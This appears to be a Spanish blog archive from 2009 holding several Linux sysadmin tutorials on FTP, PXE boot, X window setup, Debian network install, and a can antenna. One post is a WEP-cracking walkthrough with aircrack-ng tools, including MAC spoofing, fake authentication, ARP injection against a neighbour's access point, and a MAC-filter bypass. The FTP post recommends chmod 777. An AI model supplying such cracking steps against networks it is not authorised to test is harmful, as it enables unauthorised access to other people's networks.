viernes, 10 de julio de 2009

Montar FTP en Debian

Manual para montar el FTP

(fuente)

Así podremos subir y bajar archivos remotamente. Usaremos el software Proftpd 

Empezaremos la instalación de Proftpd arrancando nuestro servidor en Linux Debian, como ( root ) y pasamos a instalar …

#apt-get install proftpd

Elegir entre las dos opciones que nos marca …. Seleccionaremos ( Independiente ) y pulsamos la tecla ( Enter )
Agregar la linea DefaultRoot ~ en el archivo de configuración proftpd.conf con el comando echo …

#echo DefaultRoot ~ >> /etc/proftpd/proftpd.conf

Con esto conseguimos que no se pueda subir a mas directorios que el asignado para el usuario (/home/usuario/)
 Si no introducimos esta línea cualquiera que se conecte al servidor FTP podrá subir por los directorios y ver una información que se supone que no debe ver. 
Nota : No borrar los archivos que ya hay dentro de los directorios ya que podemos borrar configuraciones de usuario de otros programas.
Una vez hecho esto reiniciamos el demonio Proftpd con … /etc/init.d/proftpd restart
Ahora podemos hacer la prueba y conectarnos desde nuestro cliente FTP favorito al servidor FTP que ahora tiene instalado nuestro servidor. Para acceder al servidor de momento usaremos la IP local del server. (En mi caso 192.168.1.71 ).
http://www.softonic.com/s/cliente-ftp:linux
Recordad que todo lo que incluyamos dentro del directorio (www ) se podrá ver vía web desde la raíz del servidor. (En mi caso http://192.168.1.71/www/ )
Una vez hayamos realizado todos los pasos, en el root terminal (o consola de comandos logeado como root) debemos darle permisos al directorio asignado para el FTP (en este caso, “/home/usuario/www”) de la siguiente manera:

#chmod 777 /home/usuario/www

Si no lo hacemos, no podremos subir archivos a través del servidor http://FTP.

Servidor PXE con Acronis

Servidor PXE con Acronis
(fuente)
La idea principal es desplegar una imagen de Acronis en los servidores y configurar los servidores de acuerdo a los requisitos del sistema. Así, en los servidores sin unidades de disquetes y CD/DVD, para restaurar una imagen de Acronis en un equipo nuevo tenemos que utilizar el arranque de rescate, también conocido como CD de arranque con Acronis en él.
nota: Acronis tiene productos con PXE integrado, pero la idea es utilizar un servidor con PXE propio.
El primer paso, es crear los medios de comunicación de arranque de rescate con el CD de arranque de Acronis.

Tomar 2 archivos, kernel.dat y ramdisk.dat del directorio de Acronis y ponerlos en

C:\ PXEServer \ TFTPRoot \ directorio de arranque.

Bueno, ahora es el momento de hacer un pequeño cambio a nuestro archivo "default" (se encuentra en C: \ PXEServer \ TFTPRoot \ boot \ pxelinux.cfg \ directorio).

El archivo queda de la siguiente manera:

DEFAULT menu.c32


TIMEOUT 300
ALLOWOPTIONS 0
PROMPT 0

MENU TITLE PXE Boot System

LABEL ACRONIS
MENU LABEL ^Acronis Bootable
kernel kernel.dat
append initrd=ramdisk.dat vga=791 ramdisk_size=32768 acpi=off quiet noapic

LABEL NetworkBoot
MENU LABEL ^Network Boot
kernel memdisk
append initrd=w98se-netboot.IMA

LABEL CleanBoot
MENU LABEL ^Clean Win 98 Boot
kernel memdisk
append initrd=W98.IMA

LABEL MemTest
MENU LABEL ^Memory Test
kernel memdisk
append initrd=W98_MemTest.IMA


Los próximos pasos son sencillos.
Al arranque, seleccionar en el menú: Acronis y después que se despliega Acronis, elegir la imagen para la recuperación que con anterioridad alguna vez ya creaste.

jueves, 9 de julio de 2009

Instalación de la X en Debian

Personalizar Debian: Instalación Minima de las X
(fuente)
Lo primero que debemos de hacer después de haber instalado el sistema base es hacer una actualización de todos los paquetes instalados hasta el momento con un simple:

# aptitude update
# aptitude upgrade

Con esto ponemos al dia nuestro sistema base.
Servidor de las X y lo que es un windows manager y como interactúan:
Bueno una vez realizado esto debemos instalar el servidor de las X, poniendo lo siguiente:

# aptitude install x-window-system-core

Para los que tienen Sargen le instala el XFree86 X server y para los que tienen Etch le instala XORG
Nos hará unas cuantas preguntas, pero por ahora escogemos el default

Display Manager
Mientras el aptitude hace su trabajo debemos tomar una decisión, la cual es con que Display Manager voy a usar este es cada vez que prendamos nuestra computadora nos pregunte en forma gráfica el login y el password así que voy a poner los 3 más usados.
Xdm: el más pequeño y trabaja muy bien, altamente configurable
gdm: fácilmente configurable y agregas las librerías que necesitas si vas a usar el manejador de paquetes Synaptic, además contiene muchas más funciones extra de xdm
kdm: el más grande y pesado, para los que le gusta KDE
Asi que puedes escoger cualquiera, los 3 funciona en cualquier entorno de escritorio que elijas. Pero si te gusta gnome elige gdm, o si te gusta KDE elige kdm, o sino puedes elegir xdm si no tienes preferencia así que tipeamos lo siguiente escogiendo el login manager a usar:

# aptitude install display_manager

- donde display_manager tendremos que reemplazarlo por xdm ó gdm ó kdm

Windows Manager y Entorno de Escritorio
Entonces mientras continua el proceso tendremos que tomar otra decisión la cual es instalar solo un Windows Manager(WM) o instalar un Entorno de Escritorio la cual viene con su propio windows manager esto sin embargo no quiere decir que nosotros no podamos cambiarlo, por el contrario nosotros podemos reemplazarlo por el windows manager que queramos.
Bueno primero empezaremos por los Windows Manager para luego terminar con los Entorno de Escritorio ah, recuerde que no voy hablar de todos solo de unos cuantos si desean conocer mas lo puedes ver en http://freedesktop.org/wiki/

Windows Manager
Blackbox
Blackbox es un rápido y liviano Windows manager para las X y esta hecho en C++, su principal ventaja son sus bajos requerimientos de hardware, por lo cual es una de las mejores alternativas para sistemas de pocos recursos o de poca memoria (de 1.5 a 2MB RAM, contra casi 100 de KDE), lo instalamos así:
# apt-get install blackbox

Fluxbox
Fluxbox es otro Window Manager para las X, este esta basado en Blackbox 0.61.1, y yo creo que algunos ya lo hemos utilizado así es, si has usado alguna vez DSL(Damn Small Linux) entonces ya lo conoces y para los que no lo conocen pueden usar el liveCD de DSL para que lo prueben la forma de instalarlo es la siguiente:
# aptitude install fluxbox

Openbox
Openbox es otro windows Manager para las X, en sus inicios estaba basado en blackbox, pero a partir de la versión 3.0 fue reescrito totalmente, está diseñado para ser rápido y consumir una mínima cantidad de recursos, para instalarlo debemos poner: # aptitude install openbox obconf

Icewm:
Icewm es otro windows manager escrito en c++ y es relativamente ligero en términos de memoria y uso de la CPU, lo podemos instalar de la siguiente manera: # aptitude install icewm-lite

si quieres instalar lo mínimo, pero sino puedes poner: # aptitude install icewm

Entorno de Escritorio
Xfce:
Xfce es un ligero entorno de escritorio para UNIX, Linux y derivados. Su configuración es manejada íntegramente con el ratón y los ficheros de configuración son ocultados al usuario. Diseñado para la productividad, se carga y ejecuta aplicaciones rápido, mientras conserva recursos de sistema. Su windows manager es Xfwm4. para instalarlo basta con poner: # aptitude install xfce4

Gnome
Gnome es un entorno de escritorio que biene con muchas cosas, así como estamos tratando de realizar una instalación mínima para después ir instalando las aplicaciones que uno desea, ah por cierto el windows manager de gnome es metacity, para instalar gnome debemos tipear así: # aptitude install gnome-core

Si desean instalar lo mínimo, pero sino podemos instalar lo esencial y en la cual yo les recomiendo a los mas novatos, instalar gnome pero no tan cargado: # aptitude install gnome-desktop-environment
Claro que si queremos instalar todo solo basta con poner: # aptitude install gnome

KDE:
KDE es un entorno gráfico contemporáneo para estaciones de trabajo Unix. KDE llena la necesidad de un escritorio amigable para estaciones de trabajo Unix, similar a los escritorios de MacOS o Windows
Así mismo si queremos instalar lo mínimo solo basta con poner
# aptitude install kdebase
o poner tambien esto para lo esencial
# aptitude install kde-core
ahora si deseamos instalar todo solo basta con poner:
# aptitude install kde

lunes, 6 de julio de 2009

PXE de imágenes de Windows usando Linux

PXE de imágenes de Windows usando Linux
(fuente)
Esta mini aplicación de Linux contiene herramientas como partimage, ntfsresize y fdisk y está basada en torno a la fantástica busybox.
Le permite bootear PXE en un PC dentro de un cliente Linux el cual puede crear una partición NTFS, grabar una imagen del disco de Windows desde la red, escribirlo a un disco local y luego readecuar el tamaño de las particiones. El código NTFS utilizado se considera experimental, por lo que no se dan garantías, pero nunca me ha fallado. Esto es lo que usted necesita para que funcione:
• Un servidor DHCP
• Un servidor TFTP con la imagen de arranque pxelinux
• Un servidor Partimaged (con una imagen de windows almacenada en él)
• Un PC con arranque PXE (PC's más modernos)

Primer paso es configurar el DHCP y servidor TFTP para lograr que el cliente de PXE trabaje. Siga las guías en http://syslinux.zytor.com/pxe.php.
Lo principal es tener una entrada en la configuración de dhcpd, con estas directrices:
next-server TFTP_SERVER_IP_ADDRESS
filename "/ pxelinux.0"
Ahora grabar los archivos: WIUL kernel, RAMdisk y boot.msg. Colocarlos en la raíz del servidor TFTP (/tftpboot).
Hay que editar los parámetros de booteo pasados al núcleo, tal como se define en el archivo 'default' situado en /tftpboot/pxelinux.cfg/default. Probar algo como esto:
default 1
prompt 1
timeout 600
display boot.msg
F1 boot.msg

label 1
kernel wiul-kernel-2.4.31
append initrd=wiul.img.gz rw root=/dev/ram ramdisk_size=65536 vga=1

En esta nueva versión de WIUL el cliente tftp tratar de obtener una imagen de la lista cuando esté booteando. El archivo que va a tratar de obtener es llamado: image.lst
Este debe estar localizado en la raíz del servidor tftp y actualizarse con la lista de imágenes que se dispone. Anotados de a uno por línea. Los comentarios son permitidos y deben comenzar con un #.
Así el servidor tftp debería tener una estructura como esta:
/tftpboot/boot.msg
/tftpboot/image.lst
/tftpboot/pxelinux.0
/tftpboot/wiul-kernel-2.4.31
/tftpboot/wiul.img.gz
/tftpboot/pxelinux.cfg/default

Ahora bien, si todas estas cosas se han configurado correctamente, debería ser capaz de bootear PXE en el cliente de Linux.
Cómo es la imagen de un cliente: hay algunos pasos que tenemos que hacer para tomar para la imagen del cliente.
Hay dos usuarios en WIUL: 1) cliente root y 2) wiul.
Si se registra utilizando:
username: wiul
password: wiul
Se le presentará el menú principal WIUL.
La contraseña de root está configurada para partimage y logeandose en el sistema como root lo llevará a una consola de comandos (shell prompt).


Bienvenido a WIUL

Si has configurado todo correctamente entonces tu cliente debería bootear PXE y presentarles un inicio de sesión. Hay dos usuarios del sistema: wiul y root. La contraseña de root está configurado para partimage y una vez que tú te logees se presentará un terminal de consola (BASH shell prompt). Hay dos ttys disponible
y al hacer click con las teclas CTRL + ALT + F1|F2 debería cambiar entre ellos.

Si se registra como wiul utilizando la contraseña wiul será llevado al menú principal que permite iniciar el proceso de imagen que hará lo siguiente:

1.) Para eliminar o restaurar el mbr ejecute lo siguiente:

/usr/local/sbin/delete_mbr
/usr/local/sbin/restore_mbr

-después, es buena idea re-iniciar el sistema en este punto. 

2.) Iniciar La imagen ejecutando lo siguiente después de haber recolectado las entradas de los usuarios:

/usr/local/sbin/wiul-custom/make_ntfs
/usr/local/sbin/wiul-custom/get_image
/usr/local/sbin/wiul-custom/remove_part
/usr/local/sbin/wiul-custom/create_part
/usr/local/sbin/wiul-custom/ntfs_resize
reboot

Scrpits /usr/local/sbin/delete_mbr and /usr/local/sbin/restore_mbr scrub el MBR del disco local y luego reemplacelo con un MBR guardado. Este MBR, tiene una pequeña partición NTFS (11GB) en el comienzo del disco. Esta debería ser espacio suficiente para poner nuestra imagen de Windows, si no necesitas modificar la ramdisk para incluir un MBR que se ajuste a sus necesidades.

Después de restaurar el MBR guardado, lo mejor es reiniciar la máquina y bootear de nuevo el cliente de PXE, esto parece acelerar la próxima etapa considerablemente.

Seleccionando la opción 'imagen de inicio' desde el menú principal siga una vez que haya enterado en todas las opciones:

/usr/local/sbin/wiul-custom/make_ntfs
-para formatear la partición con NTFS. Es posible que este paso pueda ser omitido.

Luego, utilizando el script /usr/local/sbin/wiul-custom/get_image
La imagen de Windows es recuperada, colocada dentro de la partición NTFS.

Cuando esto esté completo, necesitamos cambiar el tamaño de la partición a algo un poco más pequeño utilizando los scripts:
/usr/local/sbin/wiul-custom/remove_part /usr/local/sbin/wiul-custom/create_part y /usr/local/sbin/wiul-custom/ntfs_resize _resize
Lo cual ajustará la tabla de particiones y cambiará el tamaño del sistema de archivos.

Finalmente reiniciar

Usted debe poner una lista de imágenes en su servidor Partimaged en un archivo llamado image.lst en el root del servidor tftp y crear un DNS CNAME llamado pxeboot para apuntar al servidor tftp. La imagen con secuencia de comandos del menú usará esta lista para ayudar al usuario final a decidir qué imagen utilizará. Imágenes que en el archivo deben estar en líneas separadas. Los comentarios deben comenzar con un #

domingo, 5 de julio de 2009

Desencriptar clave wep con wifislax 3.1

Desencriptar clave wep con wifislax 3.1
(fuente)
(usé una tarjeta usb Ralink rausb0) Las tarjetas de red usb zydas, las reconoce automáticamente. También sirven las tarjetas de red Atheros, pero son más escasas
La denominación rausb, cambiaría por eth0 o wlan0, según sea el caso.

Se verifica en la consola:
# ifconfig
# iwconfig

1.- En este caso hay que forzar el chipset ralink (otras las reconoce automáticamente)
menú inicio--> Wifislax-->Asistencia chipset-->Asistencia chipset Ralink-->Forzar chipset ralink rt73 sobre rt2503

nota importante, se van a ocupar 5 consolas abiertas a la vez.
1.- para hacer los cambios de mac y el airmon-ng
2.- para el airodump-ng
3.- para el primer aireplay-ng,
4.- para el segundo aireplay-ng
5.- para el aircrack-ng

2.- # airodump-ng –w "mi_archivo" rausb0
En las capturas aparecerán los AP y los clientes conectados.
Si no inyecta deberás elegir la mac de un cliente asociado para asignarla a nuestra tarjeta usb.
Las capturas, copiarla en un archivo de texto para tenerla a mano. Ya tienes la información de la red wifi que vas a atacar.
O sea: su nombre(essid), su mac(bssid), su channel(puede ser del 1 al 14, típico es el 1 o el 6)

Detectamos:
su mac: 00:32:E8:8D:6A:8A
su nombre: wifivecino
su canal: channel 6
Detener el airodump. ctrl.+C

3.- Entonces, efectuar el cambio de mi mac address:
# ifconfig rausb0 down
# macchanger –mac 00:01:02:03:04:05 rausb0
[Si no inyecta, necesitarás más adelante anotar(cambiarla por) la mac de un cliente real asociado]
# ifconfig rausb0 up

4.- --> #iwconfig mode monitor rausb0
…o tambien puede ser activada con:
# airmon-ng start rausb0

Se comprueba con:
# iwconfig rausb0, aparecerá en mode monitor, previamente estaba en mode Managed

5.- Antes de inyectar mandaremos con rausb0 un paquete de asociación al AP Objetivo:
# aireplay-ng -1 0 -e ESSID_AP -a MAC_AP -h nuestra_MAC rausb0
En nuestro ejemplo:
# aireplay-ng -1 100 -e wifivecino -a 00:32:E8:8D:6A:8A -h 00:11:22:33:44:55 eth0
(esta es una respuesta adecuada, que debiera aparecer en la consola)
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)

6.- Después hacer la inyección real:
#aireplay -3 -b [bssid] -e [essid] -h [00:01:02:03:04:05] rausb0
[si no asocia necesitarás la mac de un cliente asociado]
En nuestro ejemplo:
# aireplay-ng -3 -b 00:32:E8:8D:6A:8A -h 00:11:22:33:44:55 eth0
(esta es una respuesta adecuada, que debiera aparecer en la consola)
Saving ARP requests in replay_arp-0219-123051.cap
You should also start airodump-ng to capture replies.
Read 11978 packets (got 7193 ARP requests), sent 3902 packets...

7.- #airodump-ng rausb0 - -channel [canal X] - -bssid[mac del AP] –w mi_archivo.cap
# airodump-ng --bssid 00:32:F5:4D:6E:A0 –channel 6 -w mi_archivo eth0

8.- sobre 30-50 mil paquetes se puede reci{en comenzar a desencriptar la clave con aircrack.
#aircrack-ptw fichero.cap
En nuestro ejemplo: (hay que darle la ruta exacta donde el Airodump guardó los archivos.cap de captura)
#aircrack-ptw /root/mi_archivo-01.cap
(asi responderá cuando encuentre la clave. Si no ocurre, tener paciencia y capturar más paquetes y volver con la misma orden)

Bienvenido a Aircrack PTW v 1.0.0 (Spanish Build 2)
Pagina oficial: http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
Traduccion y mejoras por: Stilo16v (http://www.seguridadwireless.net)

Buscando una nueva tabla
BSSID = 00:32:E8:8D:6A:8A Keyindex=0
Estadísticas para BSSID 00:32:E8:8D:6A:8A Keyindex=0 Paquetes=74070
Clave encontrada con longitud 05: FF FF 43 98 34
Equivalente en ASCII: ËË4s


Notas al margen:
Si no asocia con aireplay-ng -1 0, muy bien se puede deber a un par de cosas.
No tenemos la señal suficiente (esto deberíamos saberlo con Netstumbler o Swscanner), sigue intentándolo, pero te aseguro que la distancia es importante, intenta acercarte.
Si estas seguro de tener señal suficiente, entonces seguramente el AP tenga Filtro Mac, podremos hackearlo igual, con un par de trucos:
Si te fijas airodump tiene dos apartados, uno para APS Objetivos (la parte de arriba) y otra para clientes conectados (la de abajo), cuestión de esperar a que un cliente con una mac válida se conecte al AP Objetivo y genere trafico, de esta forma sabremos que la MAC es valida para el AP, copiaremos esa MAC y cambiaremos la nuestra por la del cliente con este código:
# ifconfig rausb0 hw ether MAC_del cliente autenticado
Ahora debemos comenzar el proceso exactamente igual pero poniendo nuestra "nueva" MAC.

Cuando inyecta Arp pero no suben los Data es casi seguro que es por distancia, no sube o sube muy lento en relación con los paquetes ARP inyectados, es cuestión de distancia, los paquetes enviados al AP no le llegan.

El caso es que el AP al que estamos conectándonos nos desautentica, se soluciona volviendo a asociarse con:
# aireplay-ng -1 0 -e ESSID_AP -a MAC_AP -h nuestra_MAC rausb0

Antena GuíaOndas Wifi


Antena GuíaOndas para redes inalámbricas

Los principios usados en la construcción son iguales para el caso de adaptadores coaxiales.

Se compone básicamente de una lata cilíndrica, y de un conector N con su espiga central prolongada.
Después de un sencillo montaje, se trata sólo de apuntar la parte abierta de la lata hacia la estación del ISP y comenzar a navegar. Se necesitará también un cable entre la antena y la tarjeta inalámbrica.
  
El diámetro de la lata debe estar en torno a los 100 mm para la banda de 2.4GHz, pero puede oscilar entre 90mm y 110mm, y puede utilizarse, por ejemplo, una vieja lata de café o de papas fritas pringles. Tanto las paredes como el fondo de la lata deben ser lisos. Si quedaron rebabas de metal de la tapa, deberemos quitarlas limando.

Dimensiones
En el texto siguiente, la letra L sustituirá a la letra griega Lambda.
La altura de la lata vendrá determinada por el envase que hayamos escogido, aunque la longitud óptima sería de 3/4 Lg, o mayor. La espiga central del conector N se prolongará con cobre de una sola fibra, de unos 4mm de diámetro, y de largo Lo/4.
Lo depende únicamente de la frecuencia nominal: Lo = 122 mm @ 2.45 GHz, y por tanto Lo/4 = 31mm.
Lg depende del diámetro del cilindro; estos son algunos valores posibles:

LG EN FUNCIÓN DEL DIÁMETRO DEL CILINDRO @ 2.45 GHZ
Diámetro interior del cilindro D / mm     Longitud onda estacionaria  Lg / mm    Lg / 4
90       202,7       51
95       186,7       47
100     175,7       44
105     167,6       42
110     161,5       40

Para acoplar el conector N a la lata, necesitamos practicar un agujero de 12mm de diámetro, que distará Lg/4 del fondo de la lata. Para fijar este conector necesitaremos hacer, además, cuatro pequeños agujeros de unos 3.5mm para los tornillos. La parte central del conector N que da al interior de la lata (la espiga) la prolongaremos con un pequeño trozo de cobre hasta Lo/4, o sea, 31mm. Lo cierto es que la altura de esta varilla no necesita medirse de manera demasiado precisa; yo he realizado multitud de pruebas con longitudes desde 25mm hasta 40mm, y no hallé demasiadas diferencias --aunque la impedancia de la antena sí que dependerá de la longitud de esta varilla. Suele ser buena idea el taladrar un agujero de unos 3mm en el extremo de la varilla, donde se pone en contacto con la espiga den conector; de esta manera se consigue una soldadura muy firme.
El conector N se fija con cuatro tornillos de 3mm, que colocaremos con la cabeza por la parte interior de la lata, de manera que las tuercas queden por fuera. Esto se hace así para minimizar protuberancias en el interior de la lata, que podrían perjudicar el funcionamiento de la antena. Las juntas que queden entre el conector N y la lata la sellaremos con silicona resistente al agua. En el punto más bajo del cilindro hacemos un agujero muy pequeño para que el agua que se condense dentro de la lata pueda salir. El extremo abierto de la lata necesita una tapa de plástico, que deberá pasar la prueba del microondas.
Montaje de la antena a un mástil, con algún tipo de cinta que rodee la lata, de manera que no la aplane ni la abolle.


Versión mejorada: si el fondo de la lata no es liso y regular, añadir un falso fondo que sí lo sea. Puede hacerse con hojalata o aluminio, que se corta de acuerdo al diámetro interior de la lata. Al acoplar este falso fondo dentro de la lata, no hace falta que encaje perfectamente porque las microondas no pasan por las ranuras estrechas. El espacio que queda entre el fondo original y el falso no tendrá ninguna función

La antena puede equiparse con un embudo que incrementará la sensibilidad de la misma al recolectar la señal hf (alta frecuencia) de un área mayor. Este añadido multiplica la ganancia de la antena por dos (3db).

  
La imagen de la derecha muestra cómo debe cortarse la hojalata para hacer el embudo. Las líneas de puntos muestran los márgenes necesarios para las juntas.

Esta antena la hice a partir de una pieza de conducto de aire acondicionado, con un diámetro D = 100 mm, al que añadí un fondo de hojalata.
Dimensiones de la antena:
D = R1 = 100 mm D2 = R2 = 170 mm Lg/4 = 44 mm Lo/4 = 31 mm 3/4 Lg = 132 mm

No he probado a incrementar el diámetro D2 aún más. La idea del embudo está tomada del "cuerno receptor de satélite", del libro de antenas ARRL.
El extremo abierto del embudo se cierra con una tapa de plástico a prueba de microondas. La fijación del conector N, así como el agujero para el agua condensada, son iguales a los del modelo básico.

Teoría de la Antena "GuíaOndas"
Dentro del tubo que hace de guía de ondas distinguiremos tres ondas distintas.
Las denominaremos Lo, Lc y Lg.
Lo: la onda de la señal hf al aire libre, o Lo/mm = 300 / (f/GHz).
Lc: la onda del extremo más bajo de la frecuencia y depende solo del diámetro de la lata: Lc = 1,706 x D
Lg: la onda estacionaria dentro de la lata, y es una función de Lo y Lc.

Una guía de ondas (la lata) con un extremo cerrado actúa de manera parecida a un cable coaxial haciendo cortocircuito. La señal hf entra en la lata, se refleja en el fondo, y forma lo que se conoce como "onda estacionaria" cuando las señales entrantes y las reflejadas se amplifican o debilitan mutuamente.
 
Si con una sonda midiésemos la onda que entra y discurre a lo largo de la lata, registraríamos unos valores máximos y mínimos cada cierto intervalo. Al chocar la onda en el fondo de la lata, este valor sería cero; y lo mismo ocurriría cada Lg/2. El primer máximo se alcanzará a Lg/4 de distancia del fondo de la lata. Este es el lugar ideal para colocar la salida hacia el coaxial. Como se podrá apreciar, la zona del máximo es bastante plana, así que el lugar de la salida no necesita calcularse milimétricamente.
Es importante recalcar que la onda estacionaria no es igual a Lo. Los tubos de guía grandes pueden llegar a ser casi equivalentes al aire libre, donde Lg y Lo son prácticamente iguales; pero cuando el diámetro del tubo disminuye, Lg comienza a incrementar hasta que llega un punto en que se hace infinito, que se corresponde con diámetro de la lata donde la señal hf no llega a entrar siquiera en el tubo.
Por lo tanto, la lata "GuíaOndas" actúa como un filtro High Pass que limita la longitud de onda.
 Lc = 1.706 x D.
Lo puede calcularse a partir de la frecuencia nominal: Lo/ mm = 300/(f/GHz).
Los valores inversos de Lo, Lc y Lg forman un triángulo de rectángulos.
Aplicar el teorema de Pitágoras: (1/Lo)2 = (1/Lc)2 + (1/Lg)2
Despejando, nos queda que: Lg = 1 / SQR((1/Lo)2 - (1/Lc)2)

En la lata, el conector N está situado en el punto de máximo, que está a Lg/4 de distancia del fondo.
La altura total del tubo se selecciona de manera que el próximo máximo coincida con el extremo abierto de la lata, a 3/4Lg del fondo. Esto último es una suposición mía, y no parece ir mal.

sábado, 4 de julio de 2009

Iniciar una instalación de Debian por red

Iniciar una instalación de Debian por red
(
fuente)
Es un proceso bastante sencillo, aunque necesitaremos una cierta infraestructura en otro sistema ya instalado del que el sistema a instalar obtendrá todo lo necesario.

La máquina a instalar ha de soportar arrancar desde la red por PXE, una combinación de DHCP y TFTP que permite asignar una dirección IP al sistema cliente y a continuación pasarle los ficheros necesarios para que lo haga. En mi caso, como el router ADSL que uso ya es servidor de DHCP, es deseable evitar posibles interferencias al montar un nuevo servidor DHCP a pesar de que, según la Wikipedia, esto en teoría se podría evitar: The PXE Client/Server Protocol was designed so it can be used in the same network as an existing DHCP environment without interference
Conectamos con un cable cruzado la interfaz, estamos listos para comenzar la configuración del sistema.

Como la red del router es la 192.168.1.0/255.255.255.0, vamos a usar una distinta, la 10.0.0.0/255.255.255.0 para la red entre el servidor de instalación y el sistema a instalar.
Así que configuramos el interfaz en el fichero /etc/network/interfaces:

auto eth0
iface eth0 inet static
address 10.0.0.1
netmask 255.255.255.0
gateway 10.0.0.1

y lo levantamos con “ifup eth0“.

A continuación, instalamos el servidor de DHCP y el de TFTP (nos preguntará si queremos que funcione bajo el inetd o independiente, en nuestro caso, es mucho mejor lo primero):
# apt-get install dhcp3-server

# apt-get install tftp-hpa

El siguiente paso es editar el fichero /etc/dhcp3/dhcpd.conf y poner una configuración similar a la siguiente (estas son todas las líneas sin comentar en mi caso):
ddns-update-style none;

default-lease-time 3600;
max-lease-time 86400;

allow booting;
allow bootp;

subnet 192.168.1.0 netmask 255.255.255.0 {
}

subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.2 10.0.0.254;
option broadcast-address 10.0.0.255;
option routers 10.0.0.1;
option domain-name-servers 80.58.61.250;
option domain-name-servers 80.58.61.254;
}

group {
next-server 10.0.0.1;
host peggy {
hardware ethernet 00:41:64:ED:29:D3;
filename "pxelinux.0";
}

}

En ella, le decimos que ignore las peticiones de la red 192.168.1.0/24 y que atienda las de la red 10.0.0.0/24 concediendo IPs en el rango 10.0.0.2-10.0.0.254. También especificamos la IP del servidor de instalación (10.0.0.1) y dentro del grupo de opciones específicas de la máquina a instalar (peggy), la dirección MAC del sistema (00:41:64:ED:29:D3). Si no la sabemos, hay que tener en cuenta que la MAC suele aparecer en la pantalla mientras hace intentos de arranque (que en este punto deberían ser infructuosos).
El fichero pxelinux.0 que le especificamos es el gestor de arranque PXELINUX (como LILO o GRUB), del mismo autor que el SYSLINUX, con el que ya trabajamos en Arrancar Knoppix desde una memoria USB usando SYSLINUX.

Reiniciamos el servidor para que use la nueva configuración.
# /etc/init.d/dhcp3-server restart
Stopping DHCP server: dhcpd3.

Starting DHCP server: dhcpd3.

Ahora tenemos que preparar los ficheros necesarios para arrancar la instalación. Para ello, vamos al directorio de imágenes de arranque del TFTP: cd /var/lib/tftpboot/ y nos bajamos a este directorio todos los archivos necesarios (entre los que está, el pxelinux.0):

wget -erobots=off -np -r -l 0 -nH --cut-dirs=8 -R 'index.html*'

http://http.us.debian.org/debian/dists/etch/main/installer-i386/current/images/netboot/

Sólo falta un detalle, y es que necesitamos que el sistema a instalar pueda acceder a Internet para poder descargarse los paquetes necesarios de Debian y de momento está en la red aislada 10.0.0.0/24. Para ello, configurar NAT en el servidor de instalación para que todo lo que sea enviado de salida por el interfaz eth1 sea disfrazado (MASQUERADE) como proveniente de eth0 al igual que hace el router con los paquetes de nuestra red
echo "1" > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE

En este punto, al encender nuestro sistema debería de recibir una IP y luego la imagen de arranque pxelinux.0 y el pxelinux.cfg/default, tras lo cual comenzará el programa de instalación totalmente estándar de Debian. Por cierto, el fichero de configuración del PXELINUX, el pxelinux.cfg/default es totalmente comprensible y tiene una apariencia similar a la que pueden tener el lilo.conf, el grub/menu.lst o el syslinux.cfg:
DISPLAY debian-installer/i386/boot-screens/boot.txt

F1 debian-installer/i386/boot-screens/f1.txt
F2 debian-installer/i386/boot-screens/f2.txt
F3 debian-installer/i386/boot-screens/f3.txt
F4 debian-installer/i386/boot-screens/f4.txt
F5 debian-installer/i386/boot-screens/f5.txt
F6 debian-installer/i386/boot-screens/f6.txt
F7 debian-installer/i386/boot-screens/f7.txt
F8 debian-installer/i386/boot-screens/f8.txt
F9 debian-installer/i386/boot-screens/f9.txt
F0 debian-installer/i386/boot-screens/f10.txt

DEFAULT install

LABEL install
kernel debian-installer/i386/linux
append vga=normal initrd=debian-installer/i386/initrd.gz --
LABEL linux
kernel debian-installer/i386/linux
append vga=normal initrd=debian-installer/i386/initrd.gz --

LABEL expert
kernel debian-installer/i386/linux
append priority=low vga=normal initrd=debian-installer/i386/initrd.gz --

LABEL rescue
kernel debian-installer/i386/linux
append vga=normal initrd=debian-installer/i386/initrd.gz rescue/enable=true --

LABEL auto
kernel debian-installer/i386/linux
append auto=true priority=critical vga=normal initrd=debian-installer/i386/initrd.gz --

PROMPT 1
TIMEOUT 0